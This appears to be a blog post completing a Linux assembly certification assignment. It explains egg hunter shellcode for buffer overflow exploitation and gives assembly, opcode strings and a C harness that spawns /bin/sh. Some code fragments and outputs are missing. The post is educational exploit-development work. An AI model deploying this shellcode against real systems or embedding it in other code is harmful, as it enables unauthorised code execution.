0x03 SLAE - Egg Hunter Shellcode


The third assignment for the SecurityTube Linux Assembly Expert Certification is to study about Egg Hunter and create a working demo of the EggHunter. The EggHunter should also be configurable for any type of payload. This means that we could put our own bind tcp or reverse tcp payload for example. Before starting into the details of the EggHunter, I will explain what is a EggHunter.

What is a EggHunter?

An EggHunter is primarily used for exploitation. This technique is used when we have a very small space to put our shellcode in a buffer overflow for example. The EggHunter will exploit the vulnerability in 2 stage. The first stage is the Egg, which is about 30 bytes. The second stage is our payload which is much larger that we can store at an indeterminate place in the address space of the process. In this way, we can still fire up our larger payload that is to large to be stored in the first place.

The requirements for a working and strong Egghunter are the following from the skape paper:

  • It must be robust

  • It must be small

  • It should be fast

Writing the EggHunter

Before starting to write an EggHunter, I have done some search and there is an excellent paper about EggHunter written by skape. The paper title is Safely Searching Process Virtual Address Space.

There is different type of implementation for searching a VAS in the paper. However, we will concentrate our working demo with the Linux third implementation which is using the sigaction(2) that has the smaller size and the shortest execution for searching a Virtual Address Space.


The following code is the assembly implementation of the EggHunter. This assembly code will loop until he found a valid address space. If the address space is valid the return value wouldn’t be EFAULT and this means that the pointer is valid. Then, it will be compared to the egg that we are searching which is 0x50905090.

; Egg Hunter

global _start

    or cx, 0xfff      ; page alignment

  inc ecx             ; increment ecx of 1
  push byte +0x43     ; syscall sigaction 67
  pop eax             ; pop first value in the stack into eax
  int 0x80            ; execute syscall
  cmp al, 0xf2        ; verify if the return value is EFAULT
  jz _align           ; jump if ZF flag is set
  mov eax, 0x50905090 ; key
  mov edi, ecx        ; store ecx in edi
  scasd               ; compare content memory in edi to dword value in eax (the key)
  jnz _start          ; jump if ZF flag not set
  scasd               ; running twice to past the start of the egg
  jnz _start          ; jump if ZF flag it not set
  jmp edi             ; jump in edi

Now that we have our EggHunter ready, we will have to get the opcodes to put it in our shellcode. Let’s generate the opcodes from the assembly program with our shellcode-gen.py.


From there, we can reuse the template for generating the C program that generate the shellcode and modify it to use the Egg Hunter. Since, it is for demonstration, we will keep it simple as possible. In this way, I will use the basic execve-stack.nasm from the SLAE training.

global _start			

section .text

	; PUSH the first null dword
	xor eax, eax
	push eax

	; PUSH //bin/sh (12)

	push 0x68732f6e
	push 0x69622f2f

	mov ebx, esp

	push eax
	mov edx, esp

	push ebx
	mov ecx, esp

	mov al, 11
	int 0x80

Which give :


Now we can take the template of the file shellcode.c and customize it to use the EggHunter program.

Firstly, we will define the Egg Hunter key that we are looking for which is \x90\x50\x90\x50. Then, just declare the basic execve payload that the egg will launch when ready. We need to put the key twice in front of the shellcode because the key is repeated twice to allow uniqueness. Finally, we declare the egg program in the egg array and when we execute the shellcode, we launch the egg hunter payload.


#define KEY "\x90\x50\x90\x50"

// execve shellcode
unsigned char shellcode[] = \
KEY KEY"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
unsigned char egg[] = "\x31\xc9\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf6\xb8"KEY"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

  printf("Egg Length: %d\n", strlen(egg));
	printf("Shellcode Length:  %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())egg;


And the final results when running the C code above :

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification


Student ID: SLAE-1374

Last updated